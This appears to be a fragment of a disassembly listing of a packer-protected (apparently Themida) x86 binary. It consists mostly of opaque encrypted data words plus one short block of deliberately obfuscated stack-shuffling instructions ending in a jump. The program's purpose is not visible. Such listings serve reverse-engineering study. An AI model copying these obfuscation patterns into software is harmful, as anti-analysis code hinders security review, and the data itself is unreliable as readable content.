		dd 2AE1FFBFh, 2593Bh, 0CA1D6300h, 97E02FEAh, 6AAFFCB7h
		dd 397ECF8Ah, 94C9E59h,	0F4867E29h, 0C47F5FA2h,	95503079h
		dd 631EFE45h, 6CF0D017h, 8D5F6B86h, 0DF0CE719h,	0CA115DEBh
		dd 92B40303h, 12FE8705h, 18A48BA6h, 0CABDF695h,	1AF0449Fh
		dd 1954E1FCh, 99BFE75Eh, 6CB1FEB9h, 3F84D18Ch, 2B015578h
		dd 269DF20Dh, 2779E164h, 23D93E0Ch, 6987ADE1h, 23D97C4Eh
		dd 9EC9EFE1h, 26BD9DC3h, 0E123D958h, 1833EF43h,	0E123D932h
		dd 35808BB1h, 7B96B4ECh, 0E75E190Eh, 0DA19375Dh, 0AC67478Eh
		dd 89521960h, 0E719E64Dh, 47994296h, 5CAECC04h,	19E60941h
		dd 89B4DAE7h, 26413651h, 749AE164h, 82C51756h, 94E01F57h
		dd 0E52F2C6Ah, 708A519Ah, 0C7C24655h, 0BFF72F78h, 0A4BF11DFh
		dd 0E123C9A6h, 0CFF41F45h, 0D2196983h, 0F2B9F10Bh, 23C92D29h
		dd 0CE236E1h, 1D62AFEEh, 5580C512h, 98D021Dh, 3A89E75Eh
		dd 0AC4B59D2h, 476280FEh, 0E7193403h, 0B48FBAE0h, 0E531708Eh
		dd 0B703BE9Eh, 0C2135270h, 4E71527Dh, 0D40151FAh, 193491B9h
		dd 0F42C52E7h, 1E839EBCh, 4DE164F4h, 11606027h,	89FDF904h
		dd 0C586304h, 0CD999AC5h, 0C4E1230Bh, 0DA5798B6h, 0A6362953h
		dd 11h,	0E9358174h, 0CD2E123h, 5E000000h, 5F8ACD1Fh, 0E6358143h
		dd 27DDE123h, 94D92AD3h, 4A8FE0CDh, 0B5ECF712h,	51438F95h
		dd 8EA9FB19h, 0E1234FBCh, 0A6DE092Fh, 5E8F028Bh, 0FCC3E9E7h
		dd 91AF85D9h, 6064F976h, 915C82E1h, 3FBCA6E1h, 0B73423DAh
		dd 0C1000000h, 8D48287Bh, 5A15F53Eh, 2DE8C80Dh,	0FCB797DCh
		dd 0DC8767AAh, 0BD0052E4h, 8ED722DDh, 5CA3F3AEh, 2E75C17Ch
		dd 0C9E4CA4Eh, 0E7198F81h, 27413562h, 0CEFC17D3h, 9DE123CCh
		dd 6213F77h, 0E75E0C79h, 0F5F5BCE2h, 0F34288A3h, 0FB21E719h
		dd 682175D0h, 60ADF4E4h, 1F3A541Bh, 639B95C1h, 62B4F345h
		dd 26F3F41Fh, 45E1608Eh, 4CA8541Fh, 8A413FBCh, 419Bh, 0B2054B00h
		dd 7FC817D2h, 5297E49Fh, 2166B772h, 0F1348641h,	0DC9E6611h
		dd 0AC67478Ah, 7D381861h, 4B06E62Dh, 54D8B8FFh,	8877536Eh
		dd 0C7F4E719h, 0C5BD3h,	28030000h, 0A4C1CB1Ah, 963C4E38h
		dd 175D4F6Bh, 0C410FDC4h, 79C9B67Dh, 337E6B32h,	0E43623EAh
		dd 9BEDDAA1h, 53A49158h, 0D5A470Eh, 0C51401C8h,	68C3B57Ch
		dd 0ED8h
		db 89h,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	46FEh
		mov	[esp], ebp
		push	5231h
		mov	[esp], edx
		push	3EE47507h
		pop	edx
		inc	edx
		shl	edx, 6
		add	edx, 4D1CFE13h
		mov	edi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	edx
		mov	edx, 8
		add	edx, ebp
		mov	[edx], edi
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_544AAA
; ---------------------------------------------------------------------------
		db 0E5h
		dd 6118E456h, 101DB53Fh, 3A4478B8h, 8BC50306h, 0E900EBC8h
		dd 59Bh, 58FE9h, 45F16800h, 37E9063Ah, 68FFFD39h, 63A470Dh
		dd 0FD392DE9h, 479468FFh, 23E9063Ah, 68FFFD39h,	63A4857h
		dd 0FD3919E9h, 495368FFh, 0FE9063Ah, 11FFFD39h,	0DD9878CBh
		dd 0AA65458Eh, 7D38185Dh, 4C07E72Ch, 2CD7B7FAh,	0D50A254h
		dd 0DE27722Dh, 0ACF343FEh, 7EC511CCh, 19341A9Eh, 0E7198931h
		dd 819185B2h, 0E123CC35h, 23CCD2F8h, 0CC206BE1h, 99E5E123h
		dd 5CE123CCh, 0E123CC13h, 23CC84D2h, 0C59BEF61h, 103A55A7h
		dd 0D36123CCh, 2F4A82ADh, 675AF042h, 1E5D7BA1h,	0D9A787CEh
		dd 0B4FD4887h, 0DEECD3EDh, 8D6714EFh, 0C7173C67h, 4296B980h
		dd 0CFF4E6Ch, 0ED7E056Bh, 84BC034Fh, 0B41FCD69h, 0C4EF5CEFh
		dd 40B8718Ch, 85AB616Dh, 0B1A9FDBAh, 0F0DF96BFh, 403h
		dd 0F3D3266Ch, 0C0A0E938h, 9373B805h, 624287D8h, 321255A7h
		dd 0ABFDB987h, 82CD8868h, 4E9E5939h, 206C2707h,	8F75F9D9h
		dd 19895674h, 0F4E815E7h, 0A7F7115Dh, 477F9960h, 0CCEEB780h
		dd 8038E123h, 73BA0662h, 0F476C593h, 3BEFA591h,	55A1C6F1h
		dd 273D0D28h, 0B5AEE123h, 0B1E9216Ah, 6AB1FDEAh, 7BC00D4Ch
		dd 8E6F9AB4h, 6AD9F7EDh, 912E981Bh, 515CBD80h, 6E93BE05h
		dd 6BBDDB22h, 239B7A50h, 9FF0E9E1h, 0FDF7225Ah,	28E3D45Dh
		dd 236FAE36h, 0D0FB15DCh, 33196h, 115D6400h, 6D3A03CAh
		dd 50E123CCh, 7CBF1150h, 52709BB5h, 628CD834h, 91615DE8h
		dd 0B5248810h, 3EDEE500h, 0E32C7782h, 0EACA021Ch, 132E8066h
		dd 0E1232D37h, 2B638EB4h, 232D3A10h, 6583A9E1h,	9B09A216h
		dd 76A1D7CBh, 1158A895h, 0E32A7631h, 0CEA4F91Ch, 0A0E733EEh
		dd 58A1ECD9h, 0DF95E178h, 0E934E123h, 0F64382A0h, 0A5D0EAB1h
		dd 774DA1C4h, 13E53E59h, 0E006E75Bh, 863A5615h,	79681F39h
		dd 2E7h, 0D7B70A50h, 0A484CD1Ch, 77579CE9h, 46266BBCh
		dd 16F6398Bh, 8FE1956Bh, 66B16C4Ch, 32823D1Dh, 4500BEBh
		dd 7359DDBDh, 198B7258h, 0D0C4F1E7h, 3CA115Dh, 6583CA16h
		dd 0A4A6C113h, 47E123CCh, 0CC103A21h, 1079E123h, 59B9090Fh
		dd 517CA263h, 0EF388370h, 466E780Fh, 0E7AFE123h, 2E12356h
		dd 5D6D88B7h, 0EE12356h, 20E9B0E8h, 0E1235656h,	0F513E93Dh
		dd 5A7CADDAh, 0E5B0D6E7h, 3986993Ch, 600FFEB5h,	0C9000002h
		dd 95503083h, 621DFD46h, 35F0D015h, 4BF9FE4h, 0E48F6FB2h
		dd 0C5085A1Ch, 96DF2AE5h, 64ABFBB6h, 367DC984h,	0D1ECD256h
		dd 0E7198BF9h, 5D493D6Ah, 5AACCA11h, 23CC0B3Fh,	87B2D8E1h
		dd 266DB9A6h, 0DD20725Fh, 96DD2916h, 335115CFh,	0D458AD7h
		dd 0AEFF3E4Eh, 5D88A269h, 79C5213Fh, 7FB25232h,	136288Ch
		dd 1BEh, 267A64B3h, 0F2181AFFh,	3581ABC7h, 0D4E123CCh
		dd 0D21B6A84h, 0D9B9F10Bh, 0C087CE1Eh, 753C83D3h, 5975C4D4h
		dd 215140ADh, 466482ADh, 73539AEAh, 292E5ED3h, 502236h
		dd 27F00000h, 8DDFFDD3h, 91BC014Eh, 5AFFEF90h, 0BA0B04E7h
		dd 0C7723D75h, 40398628h, 19D9A89h, 0C0060000h,	83D28D6Dh
		dd 529F5A3Ah, 21722D0Dh, 0EF41FCDCh, 2321CCACh,	22024597h
		dd 0F3D31C67h, 0C1A1E838h, 9373BA06h, 3C0E290Fh, 0AFE71984h
		dd 0AE948E82h, 23CCBF93h, 4590CFE1h, 0CC93D829h, 744F7AB2h
		dd 4A9A874Eh, 54A6E503h, 5304A11h, 0BD04500Bh, 6AB7F6F6h
		dd 19445E25h, 0B39369BEh, 8161A8F8h, 11607AC6h,	0AFE701C8h
		dd 67B0FBE8h, 0DE1D0387h, 0E8204B92h, 23CCFDCDh, 0A4BF11E1h
		dd 0E123CCA6h, 19F41F45h, 0F23F2CF3h, 0F478EDAh, 45F63E2Fh
		dd 0D1EBB2F9h, 98E5D299h, 92DC7353h, 1CE123CCh,	0CC9BAFCAh
		dd 2248E123h, 72489CF7h, 0FEA83954h, 153BE75Ah,	2069B8F7h
		dd 0ED368540h, 0A2E93926h, 5AA3EEDBh, 4159A693h, 0AF76AEF5h
		dd 4462388Ch, 0E4FCA3F2h, 7CC6E0FDh, 1AFB5051h,	0BC0BE16Dh
		dd 0DF6090ABh, 0E02C3723h, 8DB8D299h, 9CC18CB2h, 653FB1FFh
		dd 0A1BFAEh, 0C40A0000h, 87D69171h, 56A35E3Eh, 25763111h
		dd 0F34500E0h, 5F25D0B0h, 2606499Bh, 0F7D7206Bh, 0C5A5EC3Ch
		dd 9777BE0Ah, 38122D13h, 0ABE71985h, 115D8A7Eh,	0B10303CAh
		dd 23CCB496h, 61137E1h,	93AD74B9h, 0B0F74368h, 345248E9h
		dd 65458CD8h, 288C6CC5h, 101436h, 81E20000h, 0E123CC34h
		dd 624289D5h, 20A5h, 0F84A4D00h, 23CCEDDDh, 2D587EE1h
		dd 23CC622Ch, 6337FE1h,	4E357AC7h, 0E123CC7Ch, 0B191C9EFh
		dd 394811FFh, 9D64A9FAh, 0C315883h, 0BD000000h,	0CC7A506Bh
		dd 0C3E9E123h, 5D4C3E98h, 10FDC417h, 0C9B67DC4h, 7E6B3279h
		dd 3623EA33h, 0EDDAA1E4h, 0A491589Bh, 5A470E53h, 1401C80Dh
		dd 0C3B57CC5h, 4EC81h, 8F540000h, 4832404h, 0B0680424h
		dd 89000033h, 5368241Ch, 8900004Ah, 0B8502414h,	665D1800h
		dd 505E0C1h, 564F3A34h,	0BA6EDC25h, 7CB22D59h, 0BE5674D6h
		dd 86A16816h, 895EF029h, 0EC8358C3h, 24248904h,	4240481h
		dd 5A000000h, 0A6685550h, 5D0E4B75h, 759EED81h,	0E8890E4Bh
		dd 89D0015Dh, 34FF5818h, 0C4815A24h, 4,	52241C8Bh, 0C281E289h
		dd 4, 8704C283h, 0E95C2414h, 0FFFD33BAh, 5B689740h, 4C7B721h
		dd 3A4A19B8h, 8BC50306h, 0CE8D1h, 58170000h, 5EB96775h
		dd 0F50E2815h, 0AE96E8Eh, 0C0000000h, 0C47EF2BBh, 0A230DE7Ch
		dd 81F85FF4h, 731FC7h, 58B86600h, 1CA8BE85h, 0EB810000h
		dd 1A370037h, 8B6637FFh, 0BBB459D7h, 369BE981h,	0E9810212h
		dd 709088A2h, 8146EE80h, 0D262BDE9h, 5148B360h,	4EC28166h
		dd 60078F01h, 50EF8161h, 0E92C2C4Ah, 9,	9F4E8DE6h, 9B7CAFE5h
		dd 4CC78122h, 662C2C4Ah, 0EE83C28Bh, 0B1850F01h, 0B2FFFFFFh
		dd 0D9E939h, 1D200000h,	0C12C0FBEh, 0CFDF2F82h,	54FDBEB6h
		dd 0A436365Dh, 0D500BCECh, 0D352C55Dh, 94A4D676h, 0C44100FCh
		dd 0CB50C1AEh, 0AC325277h, 0B8009CACh, 64F7F691h, 389382CDh
		dd 3C000000h, 40000000h, 94000000h, 5000000h, 1000000h
		dd 28000000h, 200000Ah,	20h dup(0)
		dd 0DC000000h, 0E9240DF3h, 1FD9h, 3A4E5368h, 3234E906h
		dd 5C68FFFDh, 0E9063A4Fh, 0FFFD322Ah, 3A502E68h, 3220E906h
		dd 0E68FFFDh, 0E9063A51h, 0FFFD3216h, 3A51D368h, 320CE906h
		dd 0A568FFFDh, 0E9063A52h, 0FFFD3202h, 3A53CB68h, 31F8E906h
		dd 0A068FFFDh, 0E9063A54h, 0FFFD31EEh, 3A582368h, 31E4E906h
		dd 9C68FFFDh, 0E9063A58h, 0FFFD31DAh, 3A59D368h, 31D0E906h
		dd 0B768FFFDh, 0E9063A5Ch, 0FFFD31C6h, 3A5FF668h, 31BCE906h
		dd 8C68FFFDh, 0E9063A63h, 0FFFD31B2h, 3A64F868h, 31A8E906h
		dd 9368FFFDh, 0E9063A65h, 0FFFD319Eh, 3A65EF68h, 3194E906h
		dd 4B68FFFDh, 0E9063A66h, 0FFFD318Ah, 3A674868h, 3180E906h
		dd 9B68FFFDh, 0E9063A68h, 0FFFD3176h, 3A699368h, 316CE906h
		dd 286EFFFDh, 0EB3AF5D5h, 0BA07C2A2h, 89DA9575h, 57A96444h
		dd 0BB893414h, 8A6AADFFh, 5B3B84CFh, 290950A0h,	0FBDB226Eh
		dd 54769177h, 17E71980h, 115DF6EAh, 1E6DACCAh, 0C9C9AAD5h
		dd 0A6EB3877h, 23CC8BBFh, 314C58E1h, 0E123CC19h, 416CA4CAh
		dd 65B6D01Ch, 343F5920h, 0BFD9A0E9h, 62B6A787h,	0DFE426A9h
		dd 35530FF9h, 231E301Ah, 558DB3E1h, 370B1C37h, 0BAE0E75Ah
		dd 75C2AF3h, 4755E714h,	5349E829h, 41373C60h, 5000000h
		dd 3B71FB4Ah, 29B8BD28h, 794FA3FEh, 0F757405Bh,	567CE75Ah
		dd 0C8F8C68Fh, 0CE19E714h, 561D60B2h, 503D043Ch, 0F5BC05h
		dd 0D80B94B2h, 0C66BACCAh, 0BA3C5F90h, 114h, 97DC2D6Ch
		dd 6F8BB6D0h, 75BA0B4Ah, 92D9254Ah, 0B8E53574h,	23CCAD9Dh
		dd 0E0183EE1h, 36F4C7C5h, 1D48E0B4h, 0FFED3C3Ch, 30028EDAh
		dd 3C8EB3DEh, 0F94532F9h, 0B2FEEBB2h, 6BBD8B6Bh, 231F7A50h
		dd 98C3E9E1h, 23038C97h, 9AE12DE1h, 6CB3FFBAh, 582E82A5h
		dd 30161F3Ah, 4FDE75Ah,	0A8A56CB5h, 0B3D87623h,	1B538BE0h
		dd 9A1E6D3Bh, 95B8936Bh, 0AAFE5984h, 0A79BB6D4h, 44E16A28h
		dd 93AE001Eh, 0E12D28B7h, 0ABE30E34h, 3DF41A6Ch, 2F3DE88h
		dd 7C37174Fh, 541CE72Ah, 0ED3FBFC0h, 1CF44736h,	0C40A0000h
		dd 87D69171h, 56A35E3Eh, 25763111h, 0F34500E0h,	5F25D0B0h
		dd 2606499Bh, 0F7D7206Bh, 0C5A5EC3Ch
		db 0Ah,	0BEh, 77h
byte_571AC7	db 97h			; DATA XREF: Themida_:0053D388o
		dd 38122D13h, 0ABE71982h, 0B5D8A7Eh, 0CC83C7E2h, 0E803E123h
		dd 0E123CCE2h, 919A5B81h, 982C6255h, 0E41C54FBh, 0F53A87C6h
		dd 0C915D0CAh, 0F7126482h, 0E12345D3h, 44B9790h, 0D0EB233Dh
		dd 0FDA70052h, 0C2BCE739h, 1D66B5F4h, 0F5113C56h, 0DFFDD327h
		dd 5AECDBC4h, 13DA00E7h, 1C3CC413h, 653D8BFDh, 0C6D393Ah
		dd 5664E714h, 4C3AF738h, 0C1463C60h, 14000000h,	0C9E4115Dh
		dd 0E123CC81h, 0E0313C62h, 82BAD49Bh, 858E1564h, 750776Fh
		dd 235FDEECh, 2F678DE1h, 0E4362304h, 611DAA1h, 0A3E12343h
		dd 75301057h, 0F81BE229h, 95B0CEA4h, 0E75A7088h, 0A1A9C416h
		dd 42E71440h, 0F016F11Ch, 0F5CB1F10h, 0F6F9BCD7h, 0CCF2E16Ah
		dd 0D7206FAEh, 93CBF610h, 0DFBF0254h, 0C48FD224h, 3FBF2406h
		dd 0EB2918CFh, 100001Bh, 0CD8868BBh, 9A55357Eh,	6D28084Dh
		dd 3CF7D71Ch, 1CC7A7EAh, 0FD409224h, 0CE17621Dh, 9CE333EEh
		dd 6EB501BCh, 9240A8Eh,	0E71983C1h, 4A8175A2h, 0AD74BB0Bh
		dd 0B4CE5FB0h, 0A7DFF01Fh, 0C205577Ch, 94DB27E2h, 7994E6B4h
		dd 0E1237F51h, 0A5C1EC12h, 3CA115Dh, 6583CA16h,	6590D526h
		dd 304B9D6Bh, 0E123CC1Ah, 9078A3C9h, 0EE43859h,	0EF40D5F0h
		dd 7FBEE75Ah, 0E1BCE730h, 1D559CE8h, 195121C2h,	0BE129B85h
		dd 5EAFCAE8h, 955DE3A4h, 69A8A86Fh, 0F40ED51Eh,	441A6EC9h
		dd 512F0B26h, 96BC5BD5h, 0B9D42678h, 5B9AA191h,	0A1F0DAF5h
		dd 4D735B9Ah, 163B668Ch, 485EB0CAh, 0B67DB5FCh,	0FC3F919Ch
		dd 0DD29E4C4h, 6819CB96h, 2BE28508h, 1B193Ch, 96E92F00h
		dd 63ACFBB6h, 367BC883h, 54A9B56h, 0D5186A25h, 0C07A4AF5h
		dd 904B2B6Eh, 611CFC45h, 2FEACA11h, 38BC9CE3h, 9C133752h
		dd 0A3D0E719h, 0CA115DAFh, 0B68CE003h, 0C50E5998h, 0E247629Ah
		dd 1E75AE0h, 707DFBDBh,	0D324CD21h, 1D38568Eh, 0E16DFC98h
		dd 0C00F2D53h, 362ECA9h, 3FB4DF30h, 0D5982F9Eh,	2CE83CA8h
		dd 92213911h, 0CE136026h, 202CED07h, 9221C505h,	4880A626h
		dd 6F3D9E2Dh, 437BB4E1h, 0DE050A25h, 385E20EBh,	6089DB1Ah
		dd 0A5E10545h, 88C0E620h, 509CA7C1h, 0FD284209h, 0AFCA1C1Ch
		dd 20A5E19Bh, 0A96AB3FEh, 0A9FD5883h, 0A09AB5D3h, 4326DD2Bh
		dd 5EADFF1Dh, 76918F9Bh, 26928D54h, 0CDD6F117h,	0C1E61168h
		dd 934E2E75h, 95DE2D47h, 0D9A4925Dh, 0E69DF800h, 1A39F7h
		dd 0B6094F00h, 83CC1BD6h, 569BE8A3h, 256ABB76h,	0F5388A45h
		dd 0E09A6A15h, 0B06B4B8Eh, 813C1C65h, 4F0AEA31h, 58DCBC03h
		dd 9D735772h, 0C3F0E719h, 0CA115DCFh, 0B68CE003h, 0A47D98h
		dd 0A1C7E75Bh, 0D8B943C1h, 7590AE84h, 0E16DDCE0h, 4790DF1Eh
		dd 0C01B411Ch, 0CC94E51Fh, 5E1A6E7Dh, 8B650743h, 0BDD8E47Dh
		dd 7D8B658Dh, 0C800385Eh, 417E8FAAh, 4F757BF2h,	3B116588h
		dd 3C8CCB1Dh, 7ED6F40Fh, 6F957BBCh, 2F0B0C37h, 0BC7DC4B4h
		dd 0EC397896h, 0C662FC4h, 376F3CBFh, 376A421Ch,	0D4FF0BE5h
		dd 0F7115D9Ch, 7F9960A7h, 5A996747h, 86C4DF08h,	657D8B06h
		dd 0B7DC073Fh, 0F359246Bh, 7CA319CFh, 1974D6C5h, 448A0000h
		dd 75611F1h, 0D623DEBEh, 0A5F6B191h, 73C58060h,	0DFA55030h
		dd 0A686C91Bh, 7757A0EBh, 45256CBCh, 17F73E8Ah,	0B892AD93h
		dd 2BE7199Dh, 115D0AFEh, 9960A7F7h, 5D80477Fh, 0FA153309h
		dd 0E75AE68Dh, 32B090B6h, 0BE77CBC6h, 31126719h, 97B5EDBDh
		dd 71B40645h, 646590AAh, 0E16DD1D3h, 0CE2D7C88h, 5CB53F48h
		dd 0BA62684Fh, 65B7E123h, 33B6122h, 0F7A507A8h,	0EA3EDE66h
		dd 65A4F614h, 66A9FB15h, 224D672Eh, 182AEC21h, 1A6BAA1Ah
		dd 0E9F40ED5h, 512C579Ch, 0ED41642Bh, 0FCDEF917h, 121C2EDFh
		dd 783F88D3h, 5F58335Eh, 1A30E60Eh, 503E94C9h, 36515118h
		dd 1C611114h, 4179B1D7h, 5198E423h, 236AB671h, 0F3D8EA58h
		dd 0DDCC83C2h, 18A2h, 3F1F72B8h, 0CEC3584h, 0DFBF0451h
		dd 0AE8ED324h, 7E5EA1F3h, 0F749EDD3h, 0CE19D4B4h, 9AEAA585h
		dd 6CB87353h, 0DBC14525h, 199E8AC0h, 382C59E7h,	0C9E4115Dh
		dd 0E123CC81h, 3D043C62h, 0D2F0C61Ah, 0AFF44180h, 69AEFBE8h
		dd 44050631h, 0CAE75AE7h, 2DF43B8Bh, 488CB330h,	0CD0587D9h
		dd 86B694AFh, 0F35E714h, 3E309E4h, 0D5296885h, 0A3A8B61Ch
		dd 9ED60E06h, 26D06580h, 658BE16Dh, 0A2BC0847h,	2B450C51h
		dd 0F33F2CF3h, 93CBE5ACh, 0C552F368h, 0AE74EC2Fh, 2766845Ah
		dd 0AFC990D7h, 0DC314C84h, 177492F4h, 6681D3F1h, 74DCCB64h
		dd 0D5B6E107h, 2B4796D5h, 325D95DAh, 8FAD83D7h,	0A4014674h
		dd 5B76C872h, 72EBF16Fh, 0D0ABD6FCh, 0F1A1A9C4h, 0ADF872EBh
		dd 457DA364h, 4796D527h, 0F21D37FEh, 1C6781CDh,	0A46BAE00h
		dd 9E8B528Ah, 0C4CF074Eh, 0DAF83079h, 0E9044B9Bh, 32C9DF30h
		dd 0C9C3EEF6h, 7A95C20Eh, 72EB3550h, 0A8B30A13h, 0F0353C8Ch
		dd 4B7F9AB8h, 1872EB1Ch, 65EFBAF2h, 1EAC79D5h, 177C7867h
		dd 4C920000h, 0F5E19F9h, 0DE2BE6C6h, 0ADFEB999h, 7BCD8868h
		dd 0D7AD5838h, 0AE8ED123h, 7F5FA8F3h, 4D2D74C4h, 1FFF4692h
		dd 0B09AB59Bh, 33E7199Fh, 115D1206h, 2A62A5F7h,	0AB9FBA0Ch
		dd 38E123CCh, 0C3A34E2Fh, 0D50D4FCFh, 8AC9C9AAh, 122CF33Ah
		dd 62388CE7h, 9BB50544h, 223C034Ch, 6C87BFEAh, 0E75E6DA2h
		dd 6456389h, 0C59373BAh, 0F2725873h, 0CBF1E719h, 0F33B9FA0h
		dd 0DF28E719h, 1A662101h, 0AE02F3D3h, 626DB605h, 0EA04CB12h
		dd 0AD7994B2h, 96E16426h, 0B1005270h, 0A7C0DC49h, 0EF143FCFh
		dd 0FA3957A0h, 9D9D64A9h, 23DE4882h, 0BDF51BE1h, 8EDD9892h
		dd 83D52745h, 23DE6268h, 0F4DB01E1h, 0E123DED6h, 63446F95h
		dd 18E32A76h, 3FB11716h, 0A73928DFh, 0BD000016h, 89442477h
		dd 5611F13Ah, 29E4C409h, 0F8B393D8h, 0D88363A6h, 0B9FC4EE8h
		dd 8AD31ED9h, 589FEFAAh, 2A71BD78h, 0C5E0C64Ah,	0E7199885h
		dd 27453966h, 0C4DFFDD3h, 0E75E187Ah, 5E9DBBE1h, 0FAEBCB12h
		dd 9AB5D3B1h, 0E71987BCh, 915A2147h, 0E71987C4h, 5091AFBDh
		dd 3C62D3E1h, 16344FA1h, 7BE7199Fh, 90447855h, 658B4C93h
		dd 64003Ah, 27CE0000h, 0C7E200DEh, 0E123CC87h, 36A6535Ch
		dd 0A4FBD893h, 92DCA56Ch, 7E1231Bh, 979ADBF9h, 0EB36295Fh
		dd 0B9B8C09Ch, 47975B9Eh, 0E71F3900h, 1E4990DCh, 2DE4h
		dd 3481B200h, 0C2E123CCh, 0CC755570h, 5BACE123h, 74354F16h
		dd 74C8234Eh, 0D465809Eh, 97E75ADCh, 0B6FB4C8Bh, 14C3FBCFh
		dd 0A4268E7h, 0D327782Ah, 2BC4DFFDh, 0B0E75AECh, 8AD6C38Ah
		dd 0D308425Dh, 0B5DBE714h, 96E29D7Dh, 0A5F2314Fh, 547F9960h
		dd 0F1348673h, 82A07C2Ah, 7593DA26h, 0D89FE636h, 8E559AEBh
		dd 17113C74h, 74B90A49h, 91D82449h, 7D53A7CAh, 0FB5B445Fh
		dd 0E423E16Dh, 6D874E93h, 4B5E6742h, 5243C411h,	0C883639Bh
		dd 0A56E357Ch, 595AE6BAh, 5C7A56h, 0FD4F6DB4h, 15FEE8E2h
		dd 9DE63199h, 918BB6DCh, 23708AD6h, 0C5FD17DEh,	0D7A258A7h
		dd 7F5DA597h, 34737354h, 4E739EE3h, 35F1B8FDh, 0A9E85775h
		dd 0C7EC175Ch, 8654347Bh, 0B3311934h, 0E9589915h, 6FCA52C3h
		dd 143F6526h, 3E5CA3EFh, 406BB4FFh, 12E83C5Fh, 8E2EA5F4h
		dd 0B3B579CFh, 0FC507A95h, 0ED139915h, 0D66F8AC2h, 409F6CDDh
		dd 4A97B101h, 0EC243E05h, 5E00B25h, 546FC1DFh, 9F22DC76h
		dd 0AAA4CFF5h, 3E5CA3EFh, 7F0F8AEFh, 95C0EE24h,	337CC7B4h
		dd 4085D615h, 0AA863415h
		dd 9DE4308Ch, 38122D7Fh, 0AB9F22D1h, 0A5605A85h, 0B5F41259h
		dd 415B2269h, 0BE123516h, 2678CAE8h, 22D13F0Bh,	5B86AC9Fh
		dd 5BF8FD5Ah, 80608699h, 0DE2173B2h, 0ADD2FD17h, 8A531A61h
		dd 8915C93Ch, 0D6987D5h, 0CC9A7AC1h, 0D0FB408Dh, 4D145BABh
		dd 0CAE50E60h, 8915C980h, 0C9DFEB06h, 668C8915h, 145DACA5h
		dd 3CDDA4DCh, 7CCC2846h, 4A9A5535h, 0FE4F3C03h,	6844F2B9h
		dd 579EEE4Ah, 256CBC77h, 11E73B5Eh, 0E95FD8F3h,	0FE248F6Ch
		dd 52A17B37h, 0A8775D9Eh, 0E919342Dh, 0BF5FD02Ah, 304E6C97h
		dd 5D3D84D4h, 480F56A2h, 1C80F5Bh, 0BA81C814h, 743B80CDh
		dd 28EF3887h, 8FADFB0Eh, 33514706h, 735772C4h, 0A68F2292h
		dd 424E0F56h, 22922327h, 629AC08Fh, 7FC61237h, 0EB32FF9Fh
		dd 414EA429h, 1C000000h, 67B9F84Ah, 5C435D24h, 0E123CC6Eh
		dd 602166B3h, 9AEA0F3Ah, 0CC78526Dh, 0C5EBE123h, 0DE1D6F8Dh
		dd 6961488Dh, 0FAE123CCh, 3169B201h, 0AE022506h, 0A29FBAD8h
		dd 41E75AE4h, 1C7E3B1Bh, 26000000h, 0A8C60D5Dh,	0CC0F3B56h
		dd 0B6DCE123h, 3387AA8Bh, 5F243F5Dh, 8CE75AE6h,	9AD48666h
		dd 41EA3E53h, 0C9E3AAF1h, 0C7587391h, 3FE75AEFh, 3E69B000h
		dd 41E23D63h, 0D3E1C109h, 0D7F33E7Dh, 440B438Ch, 50A4FF2Ah
		dd 0CC415C7Ah, 2715DEDDh, 0C3173A01h, 86B4CFEDh, 6513E828h
		dd 90CF213Fh, 0A8CDF841h, 6735155Ch, 0EF41518h,	0B0DB1007h
		dd 0D3123F8Bh, 72583F88h, 0F113A71Fh, 58C893CBh, 11CD35D6h
		dd 13246B5Ah, 0F43A0000h, 0B706C1A1h, 86D38E6Eh, 55A66141h
		dd 23753010h, 6F5500E0h, 563679CBh, 2707509Bh, 0F5D51C6Ch
		dd 0C7A7EE3Ah, 8425D43h, 0DBE71994h, 4981BAAEh,	9AE123CDh
		dd 13527046h, 1D5580C7h, 5AF19102h, 8EACD2E7h, 0D8B8FF4Fh
		dd 6886CD1Dh, 0EF3AF619h, 0CAF5597Fh, 83B0FCE9h, 0CBB2F744h
		dd 0E71430FFh, 545606Ch, 0E6E71430h, 855088C0h,	3986F995h
		dd 0ABB8A75Eh, 0C1000012h, 8D48287Bh, 5A15F53Eh, 2DE8C80Dh
		dd 0FCB797DCh, 0DC8767AAh, 0BD0052E4h, 8ED722DDh, 5CA3F3AEh
		dd 2E75C17Ch, 0C9E4CA4Eh, 0E7199481h, 27413562h, 0C4DFFDD3h
		dd 0E75AF0DFh, 8425DAFh, 0DBE714EFh, 89AF8AB5h,	94DD2C6Bh
		dd 61AAF9B4h, 1A61AD9Ah, 6EBD9753h, 0CD7FF08Eh,	4188D4AEh
		dd 0A2C0DE09h, 90AEF746h, 0D427233Eh, 4C67E714h, 0E714D47Eh
		dd 0E006C7EDh, 0C53DBBB5h, 45A076CCh, 21E83180h, 5095E221h
		dd 0D45B2425h, 0D1A3E714h, 41ED4882h, 7DC5364Ch, 0BF49BC10h
		dd 24426DA5h, 2C5BAA06h, 14E63911h, 0E1AC50E7h,	0CA3816A5h
		dd 7DC41009h, 2C649CB6h, 0F942914Ch, 74A9CDBh, 84D8FBDCh
		dd 0BD7590AEh, 0AEE169D3h, 0DF2B6A88h, 0B1FDB898h, 2C80A36Ah
		dd 161D3856h, 0D5E75397h, 243F91AFh, 0E7140726h, 3C749FC5h
		dd 2B4698EAh, 0E714071Fh, 8BBFA6CCh, 0EE71407h,	99B37AC3h
		dd 99B1CCD8h, 4AE71407h, 9CC1EC24h, 6E290950h, 0F114DB22h
		dd 84C6E19Dh, 67E71407h, 0D0EB0941h, 0E16D2F0Bh, 19314C58h
		dd 0CAE12310h, 7FA16CA4h, 83FB1DEh, 11746251h, 448A0000h
		dd 75611F1h, 0D623DEBEh, 0A5F6B191h, 73C58060h,	0DFA55030h
		dd 0A686C91Bh, 7757A0EBh, 45256CBCh, 17F73E8Ah,	0B892AD93h
		dd 2BE71995h, 40810AFEh, 0D9E123CCh, 71624289h,	0D729471Dh
		dd 0FBB20688h, 558011ECh, 5ECCB554h, 7290B6E7h,	0C1A1E633h
		dd 80B9780Fh, 49C736A8h, 79000001h, 0DBA2EB3Ah,	277A96C1h
